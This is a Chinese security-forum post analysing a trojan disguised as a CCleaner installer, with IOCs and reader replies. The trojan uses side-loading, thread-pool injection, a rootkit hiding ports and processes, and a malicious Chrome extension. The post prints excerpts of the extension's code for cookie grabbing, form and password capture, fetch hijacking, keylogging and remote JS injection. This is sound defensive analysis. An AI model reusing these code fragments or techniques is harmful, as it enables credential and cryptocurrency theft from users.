首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
逆向工程
发新帖
1
0
[病毒分析]仿冒 CCleaner 投递 GhostDesk 木马:无文件加载、用户态 Rootkit 隐身与 Chrome 恶意扩展
发表于: 23小时前
261
[病毒分析]仿冒 CCleaner 投递 GhostDesk 木马:无文件加载、用户态 Rootkit 隐身与 Chrome 恶意扩展
ZyOrca
3
23小时前
261
<font style="color:rgb(27, 27, 30);">近期有威胁情报检测到伪装成知名系统清理工具 CCleaner 的恶意软件。攻击者搭建了仿冒的官方网站(</font><font style="color:rgb(43, 45, 49);">ccleanerwind[.]top</font><font style="color:rgb(27, 27, 30);"> ),诱导受害者下载伪造的安装程序 CCleaner.exe 。该程序安装运行后,会进行 DLL 侧加载、无文件内存加载、用户态 Rootkit 等操作,并最终以 Chrome 浏览器的恶意扩展落地,目的在于监控和窃取受害者的敏感信息,包括加密货币钱包地址。</font> (下文记录了多次调试,可能存在PID、内存地址前后不一致的地方,见谅) # <font style="color:rgb(27, 27, 30);">1. DLL 侧加载和持久化</font> <font style="color:rgb(27, 27, 30);"> CCleaner.exe 安装运行后,向 %APPDATA%\Microsoft\Vault 路径写入三个文件</font> + <font style="color:rgb(27, 27, 30);">cscript.exe(微软的脚本运行工具,白文件)</font> + <font style="color:rgb(27, 27, 30);">version.dll(恶意加载器,会读取AppxState.dat)</font> + <font style="color:rgb(27, 27, 30);">AppxState.dat(加密的 Payload)</font>  接着<font style="color:rgb(27, 27, 30);"> CCleaner.exe 会创建进程,运行 cscript.exe。 cscript.exe 进程被拉起后,加载 </font>version.dll ,立即扫描同目录下的 .dat 文件,找到 AppxState.dat 后读取。 <font style="color:rgb(27, 27, 30);">  cscript.exe 读取 AppxState.dat 后,会将注册表 Environment\UserInitMprLogonScript 的键值设置为 cscript.exe 所在路径</font>  当用户登录 Windows 时,进程 winlogon.exe 会启动 userinit.exe 初始化用户环境。userinit.exe 会自动检测 HKCU\Environment 下是否存在 UserInitMprLogonScript。若存在该项,userinit.exe 会以后台方式静默启动该项中指定的程序或脚本(如 .bat、.vbs、.ps1 或恶意 exe/cscript.exe 等)。与Run 键设置相比,这种方式更为隐蔽地实现了恶意程序的开机自启动 # 2. version.dll 侧加载 ## 2.1 获取函数地址:<font style="color:rgb(43, 45, 49);">TpAllocWork</font><font style="color:rgb(27, 27, 30);"> 和 </font><font style="color:rgb(43, 45, 49);">TpPostWork</font> IDA 查看 version.dll,看到开始部分有函数 DisableThreadLibraryCalls,这个是 kernel32.dll 的导出函数; x64dbg 调试<font style="color:rgb(27, 27, 30);">cscript.exe</font>,程序加载 version.dll 后,先在这个函数下个断点   成功断了下来,接着往下单步运行,可以看到函数 GetModuleHandleW() 获取 ntdll.dll 句柄后,可以看到接下来应该是解密某个函数名称,再通过 GetProcAddress 获取这个函数地址。 再往下运行,验证了猜想。  先是获取了 <font style="color:rgb(43, 45, 49);">ntdll!TpAllocWork</font><font style="color:rgb(27, 27, 30);"> 和 </font><font style="color:rgb(43, 45, 49);">ntdll!TpPostWork</font><font style="color:rgb(27, 27, 30);"> 的函数地址并保存在 rsi 和 rdi 这两个寄存器当中,然后调用了这两个函数</font>   ## 2.2 线程池注入 <font style="color:rgb(43, 45, 49);">ntdll!TpAllocWork</font><font style="color:rgb(27, 27, 30);"> 和 </font><font style="color:rgb(43, 45, 49);">ntdll!TpPostWork</font><font style="color:rgb(27, 27, 30);"> 函数的调用</font>是很明显的线程池注入特征。使用 CreateThread 太容易引发 安全软件的告警,攻击者选择利用线程池机制,更隐蔽一点。 ```cpp NTSTATUS NTAPI TpAllocWork( PTP_WORK* WorkReturn, // RCX:返回创建好的work对象指针 PTP_WORK_CALLBACK Callback, // RDX:当 work 激活时,要调用的函数地址 PVOID Context, // R8 :传给 Callback 的参数 PTP_CALLBACK_ENVIRON CallbackEnviron // R9 :环境控制 ); ``` TpPostWork 执行后,操作系统内置线程池中一个已存在的休眠 Worker 线程被唤醒,读取回调函数地址(即 sub_1800035C0,动态调试界面中 RDX 保存的地址 0x00007FFF6C3035C0)并直接跳转执行。 这个线程的入口是合法的线程池调度器,引发告警的可能性要小一点。  ## 2.3 执行恶意回调函数 在 0x00007FFF6C3035C0下断点,成功断了下来 调用 Sleep(0x64)(100毫秒) 调用 GetCurrentProcessId() 获取宿主(cscript.exe)的 PID 调用 EnumWindows(EnumFunc, CurrentProcessId) EnumFunc 遍历所有顶级窗口,找到属于当前 PID 的窗口后,调用 ShowWindow(hwnd, SW_HIDE),将 cscript.exe 的黑框控制台窗口隐藏(这个可以在桌面观察到)  ## 2.4 读取 Payload,内存加载恶意 dll 接下来获取文件所在路径,找到后缀为.dat 的文件,调用 readfile() 函数读取文件  然后调用 Windows 的 BCrypt 密码学库,对文件进行哈希校验和解密  最后通过修改内存属性(VirtualProtect)并冲刷指令缓存(FlushInstructionCache),直接在内存中执行dll  sub_1800010F 函数实现在内存中加载恶意 PE 文件  调试时,可以看到内存地址 0x24C0000 有解密后的 PE 文件  # 3. 内存加载的 dll ## 3.1 dll 执行入口 将内存中加载的 dump 下来,是一个dll 文件,IDA 看一下,导出函数名为SynTPEnhService_1()。 > `SynTPEnhService` 是 Synaptics 触控板服务的 API 名称,攻击者将载荷导出为同名函数,可能会骗过一些安全软件。 >  暂且命名为 SynTPHelper.dll,然后继续动态调试;搜索内存加载 dll 关键函数结尾的部分,<font style="color:rgb(26, 28, 30);">看到 call rax ,version.dll 的基址+0x149A,像是比较明显的 Payload 执行入口。</font>   ```cpp mov eax, dword ptr ds:[rbx+28] ; 1. 取出入口点相对偏移 (RVA) xor r8d, r8d ; 2. 第 3 个参数 R8 = 0 (lpReserved) mov rcx, qword ptr ss:[rbp+40] ; 3. 第 1 个参数 RCX = 新模块基址 (ImageBase) mov edx, r14d ; 4. 第 2 个参数 RDX = 1 (DLL_PROCESS_ATTACH) add rax, rcx ; 5. RAX = 新模块基址 + 入口点偏移 (计算出真正的入口地址) call rax ; 6. 核心:正式调用解密后木马的 DllMain ``` ## 3.2 <font style="color:rgb(26, 28, 30);">创建文件 runtimebroker.dll 和runtimebroker.cfg</font> <font style="color:rgb(26, 28, 30);"></font> <font style="color:rgb(26, 28, 30);">然后步进,在函数LoadLibraryW 设置硬件断点,在加载 runtimebroker.dll 断下来</font> ```cpp bphws kernel32.LoadLibraryW, "x" ``` payload 运行后,可以观察到,实现了持久化机制,创建了文件 runtimebroker.dll 和runtimebroker.cfg  runtimebroker.cfg 其中的内容为 ```cpp 7788 syntphelper syntpmonitor onedrivesync ``` # 4. 用户态 Rootkit ## 4.1 创建多个线程 解密后的核心载荷一经 call rax 启动,在 14:25:07 这一秒钟内,突然暴增了十几个相同堆地址入口的线程,负责剪贴板文本监控、网络监听等功能  ## 4.2 加载 runtimebroker.dll 接着运行,来到了runtimebroker.dll 的入口处  下硬件断点 ```cpp bphws user32.GetLastInputInfo, "x" ``` ### 4.2.1 API hook  以下是 hook 的 API  断下来之后,查看NtQueryDirectoryFile 处的指令,最开头的 5 个字节不再是原本的 mov r10, rcx / mov eax, 32h,而是被强制覆写成了一条跳转指令 jmp 7FFF36A10238,这是比较明显的钩子特征。  ```cpp GetCurrentThreadId() 检查是否在安装线程 GetThreadContext(thread, &Context) 获取所有活跃线程 RIP 检查 RIP 是否在目标函数 ±96 字节范围内,防止打断正在执行该函数的线程 VirtualProtect(PAGE_EXECUTE_READWRITE),使代码页可写 写 E9 JMP 补丁 / 清空原指令为 0xCC ,安装钩子 VirtualProtect 恢复原保护属性 FlushInstructionCache() 清空 CPU 指令缓存 ResumeThread(suspended_threads)恢复被暂停的线程 ``` 使用 PCHunter 可以看到这些 API 确实被 Hook 了  ### 4.2.2 GetExtendedTcpTable <font style="color:rgb(26, 28, 30);"> runtimebroker.dll 被加载后会读取runtimebroker.cfg 文件中的字符,</font>  runtimebroker.cfg 第一行 7788 正是 C2 主通道端口。该钩子使 netstat -ano、Wireshark 、Process Hacker 等工具无法显示该端口的连接记录  可以确定 <font style="color:rgb(26, 28, 30);">runtimebroker.cfg 文件中的每行字符的含义了</font> ```cpp 7788 → GetExtendedTcpTable 钩子的过滤端口 syntphelper → NtQuerySystemInformation 钩子的隐藏进程名 syntpmonitor → 隐藏进程名 onedrivesync → 隐藏进程名 ``` ### 4.2.3 功能总结 runtimebroker.dll 的主要功能有 + 全局 Inline API 挂钩 + 隐藏网络端口 + 隐藏恶意进程 # 5. 隐藏桌面和恶意扩展 ## 5.1 隐藏桌面 cscript.exe 创建进程 explorer.exe  explorer.exe 也加载了 <font style="color:rgb(26, 28, 30);">runtimebroker.dll。</font>查看这个进程的句柄列表,返现有一个隐藏桌面 \CryptSvc_0a5c,还是完全控制权限(Full control)。  这个桌面刚创建时,需要把系统的开始菜单、桌面快捷方式、图标缓存全部从头到尾索引一遍,才能在这个隐藏桌面上把任务栏和窗口管理器搭建起来。  ## 5.2 恶意扩展 生成文件 manifest.json 、background.js 和 content.js  SynTPHelper.dll 会将恶意扩展组件释放到本地,随后篡改 Chrome 的启动方式(添加 --load-extension 参数)强制加载该扩展,可以窃取加密货币钱包地址、监控屏幕和键盘记录、账户密码等敏感信息。 扩展不能直接连接外网 C2(受 Chrome 沙箱和内容安全策略限制),所以借助 SynTPHelper 作为本地透明代理完成转发。  background.js 的部分内容 ```cpp // 配置本地回环WebSocket中继地址,将C2流量交由宿主木马转发以规避浏览器出站网络审计 ws_url: "ws://127.0.0.1:7345/ext", // 内置主流加密货币(BTC/ETH/SOL/TRX/LTC)的钱包地址正则匹配规则库,用于剪贴板收割 crypto_patterns: { btc: /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/, eth: /^0x[a-fA-F0-9]{40}$/, sol: /^[1-9A-HJ-NP-Za-km-z]{32,44}$/, trx: /^T[a-zA-HJ-NP-Z0-9]{33}$/, ltc: /^(ltc1|[LM3])[a-zA-HJ-NP-Z0-9]{25,62}$/ }, // 远程指令解析分支,接收到命令后定向或全量提取受害者的身份会话凭证Cookie case "cookie_grab": grabCookies(msg.domain); // 远程动态代码注入接口,允许攻击者随时向受害者的特定标签页投毒执行任意JS脚本 case "inject_js": injectJS(msg.code, msg.tabId); // 恶意痕迹 06: 远程静默截屏指令分支,调用接口秘密捕获受害者活动窗口的实时渲染画面 case "screenshot": captureTab(); // 恶意痕迹 10: 汇总前端拦截的表单账号密码与按键记录,附带标签页URL上下文后统一打包外送至木马 if (msg.t === "form_grab" || msg.t === "keylog" || msg.t === "inject_event") { msg.tab_url = sender.tab?.url || ""; msg.tab_title = sender.tab?.title || ""; sendToBot(msg); } ``` content.js 的部分内容 ```cpp // 声明GhostDesk家族专属缩写(__gd_)作为全局单例标志位,防止自身被重复注入执行 if (window.__gd_ext_loaded) return; window.__gd_ext_loaded = true; // 遍历表单所有控件,无论是否带有掩码限制(password/text/hidden),均提取为明文凭据 if (inp.type === "password" || inp.type === "text" || inp.type === "email" || inp.type === "tel" || inp.type === "hidden") { data[name] = inp.value; } // 劫持现代浏览器原生的Fetch API,拦截网络请求体中提交的登录与支付载荷 window.fetch = function(input, init) { if (init && init.method && init.method.toUpperCase() === "POST" && init.body) { tryGrabBody(url, init.body); } return origFetch.apply(this, arguments); }; // 全局劫持系统粘贴(Paste)事件,在剪贴板文本落地前进行暗中截胡与校验比对 document.addEventListener("paste", (e) => { const text = (e.clipboardData || window.clipboardData).getData("text"); // 恶意痕迹 10: 间谍键盘记录器机制,监听击键动作并设置2秒防抖缓冲刷新,将输入框字段与文本打包外传 document.addEventListener("keypress", (e) => { keyBuffer += e.key; clearTimeout(keyTimer); keyTimer = setTimeou ``` # 6. 运行流程总结 + <font style="color:rgb(27, 27, 30);">伪装成CCleaner,利用“白加黑”侧加载version.dll,并通过线程池注入技术在内存中无文件运行主控木马; + <font style="color:rgb(27, 27, 30);">主控加载Rootkit模块runtimebroker,通过全局API Hook彻底隐藏其恶意进程、文件实体及C2通信端口; + <font style="color:rgb(27, 27, 30);">创建隐藏桌面(HVNC)进行后台静默操作,并篡改Chrome快捷方式,强制浏览器加载其释放的恶意扩展; + <font style="color:rgb(27, 27, 30);">利用恶意扩展深度监控网页,窃取账号密码、拦截2FA验证码,并实时将剪贴板中的加密货币地址替换为黑客地址。 # 7. IOC ccleanerwind[.]top liderongrade.duckdns[.]org c0b4a4af8a3a8c4b113d7f203fcf480cfac79160102490daf287748634b9ce23 伪装 CCleaner 恶意安装程序 1bc58356c26851ca931fd3dbbcd050e4d8ae7795ec69702951830d883e8d6198 通过 DLL Side-Loading 加载的version.dll e9e4cf14714d2a3c573cd8c3ab9fb07239c20e5e373536dc4671e6796595a5fd 从 AppxState.dat 解密并以内存方式加载的后续恶意载荷SynTPHelper.dll 8d921bdd1f5bc8c03209a5dfacfd9ed313497ac2e3f1b4a2000f4c474a464904 runtimebroker.dll 3d7411e2e445a2210dbbf061f3e8e3dd3476a4fc5d4a2135dcceb0bc705776bf GhostDesk Chrome 扩展组件content.js cfd9c0bcc89ebc68aae889b9b49bc8290c3764bce5f2c9ac8b5ba0ba58e9bf61 GhostDesk Chrome 扩展后台脚本background.js # 8. 参考链接 + <font style="color:rgb(27, 27, 30);"> <mark class="encrypted">7c4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0j5h3I4%4j5i4u0W2j5Y4W2@1k6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3N6r3S2J5k6h3q4@1i4K6u0V1K9h3&6@1k6h3I4Q4x3V1j5J5x3o6t1$3i4K6u0r3x3o6S2Q4x3V1k6X3j5h3E0W2i4K6u0V1j5$3y4D9k6h3q4F1k6i4u0Q4x3X3c8A6L8Y4y4@1j5h3I4D9M7#2)9J5k6r3N6Z5L8%4y4@1k6r3g2K6K9#2)9J5k6r3y4Z5M7X3!0E0k6g2)9J5k6s2y4H3P5i4N6S2M7X3f1`.</mark> + <font style="color:rgb(27, 27, 30);"> <mark class="encrypted">857K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0L8$3!0F1k6r3W2F1k6#2)9J5k6h3y4G2i4K6u0W2K9%4u0Q4x3V1k6S2L8X3q4D9P5i4y4A6M7#2)9J5k6r3!0X3i4K6u0V1N6r3S2W2i4K6u0V1k6$3S2G2M7%4c8V1k6i4y4C8i4K6u0V1M7r3I4#2k6$3W2F1i4K6u0V1k6r3W2K6k6%4g2A6M7$3g2V1i4K6u0V1j5i4y4Q4x3X3c8U0j5$3I4W2j5h3&6W2M7W2)9J5c8R3`.`.</mark>
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
20小时前 被ZyOrca编辑 ,原因: 调整排版,修正错误
#调试逆向
#病毒木马
收藏
・
1
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
yuanyouran
雪 币:
305
活跃值:
(3075)
能力值:
( LV2,RANK:10 )
在线值:
发帖
5
回帖
184
粉丝
0
关注
私信
yuanyouran
2
楼
如果能提供一下样本就好了
22小时前
0
ZyOrca
雪 币:
8649
活跃值:
(5232)
能力值:
( LV13,RANK:220 )
在线值:
发帖
18
回帖
17
粉丝
62
关注
私信
ZyOrca
3
3
楼
那个仿冒的网站上可以下载
22小时前
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
ZyOrca
3
18
发帖
17
回帖
220
RANK
关注
私信
他的文章
[病毒分析]仿冒 CCleaner 投递 GhostDesk 木马:无文件加载、用户态 Rootkit 隐身与 Chrome 恶意扩展
261
[原创]AppDomainManager 注入:从GAC 利用到无文件加载的多种实现
9229
[原创]“看门狗注入”(Watchdog Injection) 技术分析
2885
[原创]无声的提权:Windows攻击链中的进程伪装与UAC绕过
13101
[翻译]利用 Microsoft Warbird 执行 Shellcode
4127
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部